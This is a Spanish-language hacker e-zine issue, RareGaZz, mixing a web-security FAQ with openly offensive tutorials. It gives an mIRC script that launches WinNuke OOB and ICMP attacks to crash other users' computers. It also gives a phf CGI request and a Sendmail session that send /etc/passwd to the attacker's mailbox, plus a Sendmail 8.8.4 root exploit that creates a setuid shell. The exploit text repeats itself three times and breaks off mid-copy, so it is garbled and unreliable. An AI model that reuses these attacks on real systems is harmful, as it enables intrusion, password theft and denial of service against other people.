-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\
                                <<::RareGaZz::>>
-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/
 
   ooooooo       oo  ooooooo  oooooo     ooooo        oo   oooooo  oooooo
   $$""$$"    o$"$$  $$""$$"  $$       o$$""o,     o$"$$   """$$   """$$
   $$o$$"    $$  $$  $$o$$"   $$$$$$   $$    $$   $$  $$     $$      $$
   $$$$$    $$   $$  $$$$$    $$""""   "$o   $$  $$   $$    $$"     $$"
   $$" $$   $$$$$$$  $$" $$   $$        "$o  $$  $$$$$$$   o$"     o$"
   $$  "$$  $$   $$  $$  "$$  $$ooooo     "$o$$  $$   $$  o$$oooo o$$oooo
   ""   """ ""   ""  ""   """ """""""        ""  ""   ""  """"""" """""""
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                          "Quis Custodiet Custodes?"
                      Cuidado - raregazz esta cargada !!

 pues asi ha pasado de la nada un largo tiempo despues de rare #8. Sintiose
 como si nada fuerase. pero recordose que mejorandose podria ser mejor...y
 lo fue. d.c.//intro: swoish//

 Muchas noticias nuevas les tenemos despues de esta pequea `ausencia'  de
 internet. La verdad es que hemos estado mas activos que nunca preparando
 una serie de sorpresas para los lectores y realizando mejoras a nuestra
 organizacion para ofrecer un servicio de calidad under. En este numero
 estamos seguros que obtendran lo que numero tras numero han esperado de este
 magazine. Hacking/Cracking/Phreaking/Anarchy/Virii/Warez. Todo esto y mas
 pueden leerlo y utilizarlo -pues se incluyen utilidades y tips- simplemente
 empezando a leer y disfrutar de este su zine!

          Contenidos:¿
                                                                
              * INTRODUCCION EXTRAORDINAIRE                    
              * MANUAL DE SEGURIDAD.                            
              * IRC X-)                                         
              * HACKEANDO WEB'S                                 
              * ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO      
              * CRACKER APPLETS JACK                            
              * INGENIERIA SOCIAL                               
              * HACKING NOVELL NETWARE                          
              * ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA         
              * J.J.F. / HACKERS TEAM                           
              * COMO MEXICO NO HAY DOS!                         
              * TERMINOS USADOS EN EL HACKING WORLD             
              * EL PRESUMIDO                                    
              * KEVIN MITNICK: Recluso numero 89950-012         
              * MANUAL PARA EL OCIO.                            
              * EL NUEVO ROBO                                   
              * NOTIL00NS                                       
              * B00/\/\3R4nG                                    
              * SECCION UUENCODE  -philez-                      
              * RareGaZz a finales del ao 1997                 
                                                                
          ٳ
           

                             -| Flos Juventutis |-
              "VINO UN IDIOTA Y ME DIJO QUE YO ERA UN GENIO, Y
              UN GENIO ME DIJO QUE YO ERA UN IDIOTA. VINO TAM-
              BIEN OTRO IDIOTA Y ME DIJO QUE YO ERA UN IDIOTA,
              Y OTRO GENIO ME DIJO QUE YO ERA UN GENIO...Y YO,
              INMUTABLE".



 
                          INTRODUCCION EXTRAORDINAIRE
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
             MagaZine electronico  protegido por el derecho a la
             libre expresion (y la anonimidad) creado sin fines de
             lucro. De hecho creado sin fin alguno.
             La informacion contenida en este numero puede servir
             para ocasionar dao a un sistema,  organismo  o raza
             humana y debera ser tratada con responsabilidad y
             sin excesos. sexo. Menores de edad leyendo este zine
             necesitaran la autorizacion de sus padres para hacer
             fraude electronico o delito informatico de lo contrario
             RareGaZz asume total responsabilidad de los actos de
             estos pequeines...siempre y cuando no sean delitos y
             generen divisas -de preferencia extranjeras-. Para
             contactar al consejo editorial de este zine favor de
             abusar de la direccion RAREGAZZ@BIGFOOT.COM en caso de
             querer enviar un archivo por "attachment" solicitar
             instrucciones. RareGaZz por ser una publicacion de
             acceso mundial responde a las leyes informaticas de
             la INTERPOL -policia mundial- y se apega a derecho. Si
             alguien conoce las leyes informaticas de la agencia
             antes mencionada o tiene idea alguna del significado
             de la palabra "derecho" favor de asesorarnos.

  Pues bien aqui estamos de nuevo e igual de viejos que la ultima vez. Esta
  vez nos tardamos bastante (mas que nunca); en verdad compadezco a todos
  ustedes viviendo en ciudades grandes con grotescos niveles de contaminacion
  y una vida urbana acelerada mientras juegan la carrera de las ratas en su
  jungla de asfalto mientras que nosotros por 'aca... a un lado de una de
  las mejores y escondidas playas de mexico disfrutando de la calma que solo
  una pequea ciudad puede ofrecer...no los culpo por desesperarse.
  Un HACK merece mencion en este numero, fue el realizado a la pagina del
  ITESM Campus Saltillo por azumlord -el hack esta disponible en la pagina
  de raregazz seccion software- que destaca por su originalidad y bellas
  chicas :) La pagina ahora esta arreglada. http://www.sal.itesm.mx
  El proyecto HACKERZ empieza a dar resultados en algunos paises entre los
  que destacan: Puebla, Ensenada y Monterrey Mexico. Argentina (algunas
  localidades), Colombia y Chile. Todavia estan invitados a mandar sus datos
  para continuar con este proyecto. Mas info en RareGaZz 8 y 7.

  Unas calcamonias -o pedazos de hule con un lado pegajoso- del zine ya
  estan disponibles GRATIS a cualquier persona que viva o vegete en alguno
  de estos  paises: Argentina, Mexico y/o Colombia. Para recibirlas envia
  un e-mail con una direccion postal valida a la direccion de la revista.
  Son gratis y hasta que se acaben. Para el proximo numero mas paises seran
  incluidos si se cuenta con suficiente presupuesto, unicamente dos (2)
  seran enviadas por direccion postal. La excepcion a la regla: "Los
  integrantes del proyecto HACKERZ recibiran las calcamonias sin importar
  en que pais se encuentren." Bueno y para q'? pues para demostrar que este
  movimiento esta presente fuera de las barreras electronicas.

  Me despido y regreso al UnderGround...ya saben donde encontrarme.

 " Las maravillas con las que nos deleitan los escritores de raregazz nunca
   pasaran de ser inscripciones trazadas por las manos de ilusos..."
                                         -Publicacion electronica mexicana.


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                               <<::RareGaZz::>>
                        Manual de Seguridad en Internet 1/2
                               por ServerHacker

 Pregunta: Como desactivo el mensaje ""You are submitting the contents of
 a form insecurely" en Netscape? Debo preocuparme?

 Este mensaje indica que los contenidos de una forma que estas enviando a un
 script CGI no estan encriptados y pueden ser interceptados. En este momento
 recibiras este mensaje cuando envies un form a cualquier servidor que no
 sea Netscape ya que unicamente Netsite Commerce Server puede manejar forms
 encriptadas. No deberias mandar informacion confidencial a traves de estas
 forms como numeros de tarjeta. En el caso de que seas de las personas que
 dicen los datos de su tarjeta via celular...pues hazlo!

 Para apagar esta advertencia, elige Preferences del menu Options de Netscape,
 escoge "Images and Security" y desmarca la caja con el nombre "Warn before
 submitting forms insecurely."

 Pregunta: Que tan segura es la encripcion usada por SSL?

 SSL usa encripcion basada en llaves publicas que requiere un intercambio de
 llaves entre el cliente y el servidor; esta llave es usada para encriptar
 la transaccion http (solicitud y respuesta). Cada transaccion usa una llave
 diferente asi que si alguien se las arregla para decriptar una transaccion,
 no significa que ha encontrado la llave secreta del servidor; si quisiera
 decriptar otra transaccion, necesitaria gastar el mismo tiempo y esfuerzo
 en la segunda como lo hicieron para decriptar la primera.

 Los servidores Netscape y navegadores usan encripcion usando una llave
 secreta de 40-Bits. Mucha gente piensa que usar encripcion de 40-Bits es
 inseguro ya que es vulnerable a un ataque de "fuerza bruta" (intentando
 las 2^40 llaves posibles hasta encontrar la que decripte el mensaje). Esto
 fue demostrado en 1995 por un investigador frances que usando varias
 estaciones de trabajo logro decriptar un mensaje encriptado de 40-Bits
 en una semana. Hardware especializado podria crackear este tipo de encripcion
 en minutos u horas. Usar una llave de encripcion de 128-Bits elimina este
 problema pues ahora hay 2^128 posibilidades de encontrar la llave lo que
 hace casi imposible crackear ya que tomaria aproximadamente la edad del
 universo en crackear usando tecnologia convencional. Desafortunadamente la
 mayoria de los usuarios de Netscape tienen navegadores que unicamente
 usando la encripcion de 40-Bits debido a las restricciones de exportacion
 de los Estados Unidos Americanos.

 En Netscape puedes saber que tipo de encripcion se esta usando para un
 documento en particular viendo la pantalla "document information" accesible
 desde el menu "view". La pequea llave en la parte inferior izquierda
 tambien indica que tipo de encripcion esta siendo usada. Una llave solida
 con dos dientes indica encripcion de 128 Bits, una llave solida con un
 solo diente indica encripcion de 40-Bits y una llave rota indica no
 encripcion. A veces tu navegador puede soportar encripcion de 128-Bits y
 usar de 40 si el servidor esta fuera de los Estados Unidos Americanos y
 Canada.

 Pregunta: Ni navegador Netscape esta mostrando una forma para ordenar
 mercancia de una tienda que yo confio. La pequea llave en la parte inferior
 izquierda esta solida y tiene dos dientes. Esto significa que puedo mandar
 mi numero de tarjeta a salvo, verdad?

 No. Una llave solida con dos dientes indica que se esta usando encripcion
 SSL de 128-Bits y que el host remoto tiene un certificado de validez que
 Netscape reconoce. Hasta este punto, tu no sabes a quien pertenece este
 certificado. Es posible que alguien haya comprado o robado un certificado
 de un servidor y despues haya ruteado el trafico de la red destinado a la
 tienda simplemente ruteando el trafico en algun lugar entre tu y la tienda.
 La unica forma de saber si estas `hablando' directamente con la compaia
 con la que quieres comerciar es abriendo la ventana "Document Information"
 (del menu view) y examinar el certificado del servidor. Si el host y nombre
 que aparecen ahi coinciden con la compaia que esperas, entonces podras
 hacer cualquier transaccion con seguridad.

 Pregunta: Que tan privadas son mis peticiones para ver documentos Web?

 Todas las peticiones de documentos via Web son guardadas en archivos llamados
 logs o registros. Aunque tu nombre no es usualmente registrado, tu direccion
 IP y el nombre del host desde donde accesas si es guardado. Ademas, algunos
 servidores registran la URL desde donde estas accesando. El record de estos
 registros sera usado para realizar estadisticas unicamente.

 Un claro ejemplo de esto es la siguiente pagina:
 http://www.l0pht.com/ref.html
 En esta pagina puedes encontrar todas las direcciones que incluyen un link
 a la pagina www.l0pht.com Si tienes una pagina y alguien desde ahi ha
 entrado a www.l0pht.com no dudes en encontrar ahi la direccion de tu pagina.
 Obviamente ahi encontraras la pagina de links de raregazz (las dos), y muchas
 otras.

 Pregunta: Cual es la diferencia entre Java y Javascript?

 A pesar de las similitudes, Java y Javascript son dos entidades separadas.
 Java es un lenguaje diseado por Sun Microsystems. Los Java scripts estan
 precompilados en una forma compacta y guardados del lado del servidor. Los
 documentos HTML se refieren a las mini-aplicaciones como Java "applets" por
 incorporar las etiquetas <APPLET>. Los browsers que soportan Java bajan el
 codigo del servidor y lo ejecutan.
 Para saber si tu navegador soporta java en Netscape escoge del menu "options"
 la opcion "Network preferences". Despues haz un click en la ceja "Languajes".
 Deberan estar marcadas las opciones "Enable Java" y "Enable Javascript".

 El codigo JavaScript es una extension del lenguaje HTML diseada por la
 Corporacion Netscape y entendido por los navegadores superiores al 2.0 y
 superiores versiones a la 3.0 de Internet Explorer. Es un lenguaje diseado
 para controlar el navegador; tiene la abilidad de abrir y cerrar ventanas,
 manipular elementos de formas, ajustar settings del navegador, y bajar y
 ejecutar applets java.

 Pregunta: Existen errores de seguridad conocidos en Java?

 Los Javascripts, debido a que se executan en el lado del navegador en vez
 del servidor, mueven el riesgo de la seguridad del servidor al cliente.
 Hay algo que deba temer el cliente?

 Varias medidas de seguridad estan dentro del lenguaje Java para prevenir
 riesgos de seguridad en la computadora del usuario remoto. Cuando se
 ejecutan como applets, los scripts Java estan restringidos por el "security
 manager" para definir lo que pueden hacer. El security manager no permite
 que los applets executen comandos arbitrarios del sistema o que abran algun
 dispositivo del sistema como los drives de los diskettes. Asi pues, los
 scripts estan limitados a unicamente leer y escribir archivos en un
 directorio designado de la computadora cliente (la tuya). El navegador
 HotJava te permite especificar este directorio mientras que Netscape no
 permite este tipo de manipulacion.

 Los applets estan limitados a una sola conexion de donde fueron `bajados'
 y compilados. La razon se discute adelante.

 Finalmente, un administrador de seguridad permite a los applets Java leer y
 escribir a la red, leer y escribir a un disco local pero no a los dos al
 mismo tiempo. Esta limitacion se hizo para evitar que un applet espiara en
 los archivos de tu disco duro mientras los manda al servidor.

 Mas sobre este interesante tema...cuando haya terminado mi cena... :)


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                                                   
                                     
                       GuyBrush            Blacklash
                                      

                                  <<::RareGaZz::>>
                                                   

      -Vocabulario
      -NetSplit
      -Ordenes basicas
      -Como nukear y como protegerse
      -Nukez

Vocabulario
^^^^^^^^^^^
* nick -> Alias o apodo de un usuario en el IRC.

* ban -> Mediante esta accion se impide la entrada de un usuario a un canal.
         Solo pueden banear (y levantar los bans) aquellos que son op (nota:
         op es el que tiene una '@' al lado de su nombre. Tiene el control
         absoluto del canal).

* massban -> Banear a todos los usuarios de un canal.

* kick -> Para expulsar a alguien de un canal. Solo pueden kickear los ops.

* masskick -> kickear a todos los usuarios de un canal.

* massop -> Dar op a todos los usuarios de un canal. El que da los op debe ser
            op, naturalmente.

* massdeop -> Quitar el op a todos los usuarios de un canal. Has de ser op.

* kline -> Impide la entrada de un usuario (identificandolo por su IP) en el
           servidor. Si tienes numero IP fijo ... te han jodido bien. Si cada
           vez que te conectas tienes un IP distinto, solo puedes desconectar-
           te y volverte a conectar (volver a realizar la llamada para que se
           te asigne otra IP).

* nuke -> Ataque a un usuario para provocar su expulsion de la red.

* script -> Complemento para el cliente de IRC que incluye nuevos menus, co-
            mandos, opciones, ...

* netsplit -> Ocurre cuando un determinado servidor, por cualquier circunstan-
              cia, se separa del resto de la red.

* netjoin -> Tras el netsplit viene esta accion. El servidor separado se une
             de nuevo a la red.

* bot -> Programa empleado normalmente para mantener un canal (nota: has es-
         tado alguna vez de arrakis? pues 'scytale' es un bot). Puede realizar
         tareas  programadas, como por ejemplo dar op a gente que ha registra-
         do un canal, mostrar mensajes de bienvenida, expulsar a algun indese-
         ado, ... pero logicamente, no puede mantener conversaciones.

* clon -> Como la misma palabra dice, un clon es una copia de un usuario pero
          con un nick distinto. Se pueden llegar a cambiar todos los datos del
          clon excepto el IP. La forma de crear clones es abrir didtintas se-
          siones de IRC o bien, usar script (luego explicare que es esto). Pe-
          ro ten cuidado, porque algunos bots te kickearan del canal en el que
          introduzcas clones, o a lo peor te mandaran un kline.

* flood -> Se produce un flood cuando se sobrecarga el servidor de informacion
           por lo que te desconectara por 'excess flood'.

* lag -> Retardo que sufre la informacion debido a la saturacion que sufre el
         servidor. Podemos ver la cantidad de lag de un usuario enviandolo un
         ping.

* caerse -> Este termino se emplea cuando alguien se desconecta del servidor
            de forma involuntaria.

Bueno, estos son los comandos basicos que debes saber. Espero que los hayais
entendido todos ... son muy basicos  :)


NetSplit
^^^^^^^^

De todos modos hay uno que quiero resaltar ya que puede que sea el que menos
gente conoce. Para que sirve el 'netsplit'? Bien, esto puede ser de gran ayu-
da. Gracias a este comando podemos entrar en canales a los que no tenemos ac-
ceso (bien porque no estamos invitados, o porque se necesita passwd, ...) y
ademas, siendo ops. Como? pues hacemos un netsplit a algun servidor que este
conectado a la misma red del que estamos ahora mismo. Hay muchos (pero ahora
mismo no recuerdo ninguno). Si te das cuenta, cada vez que te conectas, en la
barra del status te pone el nombre del servidor. Puedes usar cualquiera de los
que te salen. Bueno, que ocurre cuando hacemos el netsplit? que aparentemente
estamos en un servidor 'vacio'. Es como si no hubiera nadie (solo la gente que
esta haciendo lo mismo que nosotros :) ). Ahora podemos entrar en el canal que
queramos y ser ops. Despues solo tenemos que esperar unos minutos a que vuelva
a 'unirse' a la red y ya estaremos dentro! y como ops. A veces es mejor que
nos quitemos el op para no llamar la atencion.

Puede que estes esperando varios minutos y nada, que no entra!!!. Pues sera
mejor que lo dejes, porque a veces los bots no te dejan hacer el netjoin  :(


Ordenes basicas
^^^^^^^^^^^^^^^

/help -> Ayuda.

/list -> Muestra en una ventana todos los canales abiertos, con el numero de
         usuarios conectados y el topico.

/join #canal -> Entrar en un canal.

/part #canal -> salir de un canal.

/quit -> Salir del cliente de IRC y desconectarse del servidor.

/nick nuevo_nick -> Cambiar de nick.

/whois usuario -> Para ver informacion sobre un usuario. Donde <usuario> es su
                    nick.

/usho usuario -> Igual que el anterior pero muestra mas informacion.

/me -> Muestra un mensaje como si fuera una accion realizada por uno mismo.

/msg usuario msg -> Envia un mensaje privado a un usuario.

/query usuario -> Inicia una conversacion privada con un usuario.

/notify usuario -> Para recibir notificacion cuando el usuario entre en el IRC.

/who *cadena* -> Lista los usuarios que entre sus datos contienen la cadena
                 especificada.

/names #canal -> Muestra la lista de usuarios que estan dentro de ese canal.

/ping usuario -> Efectua un ping a un usuario viendo el tiempo que tarda en
                 devolver el ping, para medir el lag que tenemos.

/ignore usuario -> Para no ver los mensajes que escribe ese usuario. Por si
                   alguien se pone muy pesado ...

/ignore off -> Para volver a leer los mensajes de todos.

/invite usuario #canal -> Invitar a un usuario a un canal.

/topic #canal nuevo_topico -> Cambiar el topico de un canal.

/mode #canal nuevo_modo -> Cambiar los modos de un canal. Para activarlos se
                           utiliza + y para desactivarlos - (por ejemplo:
                           /mode #hackers +t)

                           Los modos sobre el canal mas comunes son:

                           t: Solo los ops pueden cambiar el topico.
                           i: Canal de invitados unicamente.
                           l numero: Numero maximo de usuarios.
                           m: Solo pueden hablar los ops.
                           p: Canal privado.
                           s: Canal secreto.
                           k llave: Canal con contrasea para entrar.
                           n: No permite mensajes externos en el canal.

                           Los modos sobre los usuarios mas comunes son:

/mode #canal nuevo_modo usuario -> Cambiar los modos de un usuario.

                                   i: Te hace invisible y solo podran hablar
                                      contigo los que conozcan tu nick.
                                   s: recibe noticias del servidor.


Para hacer op a un usuario -> /mode #canal +o usuario

Para hacer op a varios usuarios -> /mode #canal +ooo usu1 usu2 usu3

Para hacer deop a un usuario -> /mode #canal -o usuario

Para hacer deop a varios usuarios -> /mode #canal -ooo usu1 usu2 usu3

Para banear a alguien -> /mode #canal +b usuario

Para quitarle el ban a alguien -> /mode #canal -b usuario


Como nukear y como protegerse
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Existen varias formas de nukear. Una es usando clonos y luego floodeando a al-
gun usuario o a algun canal. Como vimos anteriormente, un usuario puede desco-
nectarse del servidor si tiene una sobre carga de informacion (causandole un
'excess flood'). Imagina lo que tardaria en 'caerse' si le envias 500 pings
segidos ... y si creas 4 o 5 clones y cada uno de ellos el enviar 500 pings?
Hay muchos scripts con los que puedes crear clones y hacer diversos ataques.
En caso de no saber programar un script para nukear a alguien puedes usar
alguno de los siguientes programas bastante buenos: azezino, kokaine,
7 sphere, aunque cada dia hay mas gente que sabe programarlos.

Pero con los scripts solo conseguimos echar a alguien del servidor y que en
pocos minutos vuelva a estar dentro. Pero tambien hay otras formas de ataque
que 'cuelgan' el ordenador de la victima por completo. Alucinante!.

Hay dos tipos de ataques. Uno es el OOB (Out of Band): cuando Windows instala
el protocolo TCP/IP aade automaticamente el NetBios el cual activa el puerto
139 (necesario para las peticiones de NetBios). Pero como Bill Gates es muy
bueno con los hackers, siempre deja uno o dos bugs en cada uno de sus progra-
mas :D para que nos distraigamos.

Bien, pues si enviamos un paquete de datos a un usuario que tenga abierto este
puerto (el 139) causara un error grave de forma que le aparecera por pantalla,
en el famoso color azul de fondo con letras blancas:

        Ocurrio una excepcion OE at 0028 de VxD MSCTP(01)+000041AE Fue
        llamado desde 0028 de VxD NDIS+00000D7C

Y el ordenador se colgara por completo. Aparentemente todo sigue igual, pero
en realidad el ordenador no podra recibir ninguna conexion hasta que se reini-
cialice.

Nota: el ataque solo funciona si la victima usa Windows 3.11, 95 o NT y tiene
activo el NetBios,

P: Donde puedo conseguir un maravilloso programa que haga esto?
R: En nuestra pagina de RareGaZz

P: Como puedo protegerme para que no me nukeen a mi?
R: La mejor proteccion es NO usar Windows. Pero si quieres usarlo, puedes re-
   nombrar el fichero 'windows\system\vnbt.386' como 'windows\system\vnbt.bak'

Hay otra forma de nukear ademas del OOB; es el ICMP que esta basado en un nue-
vo error del TCP/IP de Windows (como no!!!). Cuando Windows recibe un pa-
quete de datos altamente fragmentados y los coloca en orden, se produce el
bloqueo del sistema.


Nukez
^^^^^

 En esta seccion vamos a incluir al MIRC 5.x una opcion de nuke, para que
 puedas echar a la gente, usando el programa winnuke 4. Aqui va :


 En remote debes poner lo siguiente :

#nuke off
raw 311:*: set %nukeip $parm4 | halt
raw 312:*: set %nukeserver $parm3 | halt
raw 301:*: halt
raw 313:*: halt
raw 319:*: halt
raw 317:*: halt
raw 318:*: run $mircdirutil\wnuke4.exe -n %nukeserver %nukeip 0 1024-2500 %nukeport | .disable #nuke | echo 3 -a Nukeando a %nukeip en %nukeserver por el puerto %nukeport | halt
#nuke end


#icmp off
raw 311:*: set %icmpip $parm4 | halt
raw 301:*: halt
raw 313:*: halt
raw 319:*: halt
raw 317:*: halt
raw 318:*: run $mircdirutil\wnuke4.exe -c %icmpip 30000 0 3 | .disable #icmp | echo 3 -a ICMP Echo mandado a %icmpip con 30.000 Paquetes  | halt
#icmp end

en el alias crea :


nuke { .enable #nuke | whois $$1 }
icmp { .enable #icmp | whois $$1 }

y en los popups :

del nicknamen, chat y query :

Nuker
.ICMP Echo: /icmp $$1
.Nuke:/set %nukeport $$?="Puerto?" | /nuke $$1

en el status, channel y menubar :

Nuker
.ICMP Echo:/run $mircdirutil\wnuke4.exe -c $$?="IP del usuario?" 30000 0 3 | echo 3 -a ICMP Echo mandado a $! con 30.000 Paquetes
.Nuke IP:/run $mircdirutil\wnuke4.exe -n $$?="IRC Server del usuario" $$?="IP Address del usuario" 0 1024-2024 $$?="Puerto (ej.: 6667)"
.Nuke Nick:/set %nukeport $$?="Puerto?" | /nuke $$?="A quien Nukeo?"

ahora solo falta copiar el wnuke4.exe al directorio util de donde esta el mirc
ej: c:\mirc\util

El WinNuke viene incluido al final de la revista en la seccion UUENCODE.
 Este nuker fue sacado del Kokaine 3.0 para mirc 4.72 pero modificado
 para el 5.x


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

ͻ
                                      +++ Azum Lord +++                   
  HACKEANDO WEB'S                                                         
                        http://members.tripod.com/~jleg/logos/wlm.html    
                                     AzumLord@bigfoot.com                 
                                                                          
ͼ


                                 CONTENIDOS



               1.- Disclaimer

               2.- Introduccion

               3.- Comenzando el ataque

               4.- Obtencion del fichero de Passwd

               5.- Usando Exploits

               6.- Y recuerda....

@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                               DISCLAIMER 
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

  El contenido de este texto esta solamente destinado a usos educacionales,
  de investigacion  y  de desarrollo. En ningun momento el creador de este 
  texto se hace responsable de los daos causados debido a un mal uso de el
  mismo.
 
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                               INTRODUCCION 
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

  Si alguna vez se te ha ocurrido que seria divertido cambiar algunas 
  cuantas cosillas de alguna web o de aduearte de alguna, este texto es
  para ti.

  Si tu enemigo tiene una web y quieres acabar con ella este texto es para ti.

  O si simplemente quieres conocer las posibilidades del hacking este texto
  es para ti.
    
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                               COMENZANDO EL ATAQUE 
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

 Lo primero que hay hacer es localizar al servidor victima...

 (e.j.)
 http://www.victima.com   <----------- Victima

 Despues recopila la mayor cantidad de informacion sobre el servidor 
 victima por ejemplo su IP, DNS, version de Sendmail, etc.

 La mayoria de las veces el servidor que contiene la web-page del site 
 solo tiene  unos  cuantos  logins  como  el  del  root  y  el de algunos 
 cuantos administradores pero para saber cuales y cuantos usuarios, necesitas
 el fichero de passwd.

@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                       OBTENCION DEL FICHERO DE PASSWD
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

 Hay varias formas de entrar, una de ellas seria obteniendo el archivo 
 de passwd pero como? bueno he aqui algunas formas.

 Nota para Newbies: Si entras al servidor por ftp con el usuario 
 anonymous y te vas al directorio /etc y te encuentras el fichero passwd no
 te emociones este fichero solo es basura el fichero correcto esta en:

 /home/ftp/etc/passwd <--------- Basura que encuentras si entras por anonymous

 /etc/passwd <------------------ Fichero correcto de passwd.

 Hay muchas formas de obtener el fichero de passwd como por ejemplo con 
 el phf:

 http://www.elsitevictima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
      (          1          )(     2    )(     3   )(   4  )(5)(    6    )

  1.- El site que quieras atacar.
  2.- El comando phf.
  3.- Aqui es donde esta el secreto.
  4.- El programa que quieres que se ejecute.
  5.- El %20 es un espacio.
  6.- Y pues aqui va el archivo o directorio que quieres ver.

 O tambien con exploits, este es para obtener el fichero de passwd de
 servidores con Sendmail con versiones anteriores a la 5.57

 % telnet victima.com 25 
 Trying 255.255.255.0...
 Connected to victima.com  
 Escape character is '^]'.
 220 victima.com Sendmail 5.55 ready at Sunday, 12 Sept 97 12:09
 mail from: "|/bin/mail tudireccion@decorreo.com < /etc/passwd
 250 "|/bin/mail tudireccion@decorreo.com < /etc/passwd"... Sender ok
 rcpt to: Aqui_pon_lo_que_se_te_antoje.
 550  Aqui_pon_lo_que_se_te_antoje.... User unknown
 data
 354 Enter mail, end with "." on a line by itself
 .
 250 Mail accepted
 quit
 Connection closed by foreign host.
 %

 Despues crackeas el fichero de passwd con cualquier crackeador como el 
 Jack the Ripper o el que acostumbres usar y si sacas alguna de las cuentas 
 telnetea:

 %telnet
 %o
 (to)www.victima.com
 Trying 255.255.255.0 ....
 Escape character is '^]'.

 Linux 2.0.0 (www.victima.com) (tty2)

 login:XXXXXXXX
 passwd:XXXXXXXX


@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                               USANDO EXPLOITS
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

 La forma mas sencilla de hackear una web-page es usando exploits he aqui uno
 que te hara root en Sendmail 8.8.4.

--------------------------------- CORTA AQUI 
---------------------------------

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);      
 }                                             
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0); 
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi 

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);      
 }                                             
_EOF_
      >
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0); 
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi 

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);      
 }                                             
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0); 
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
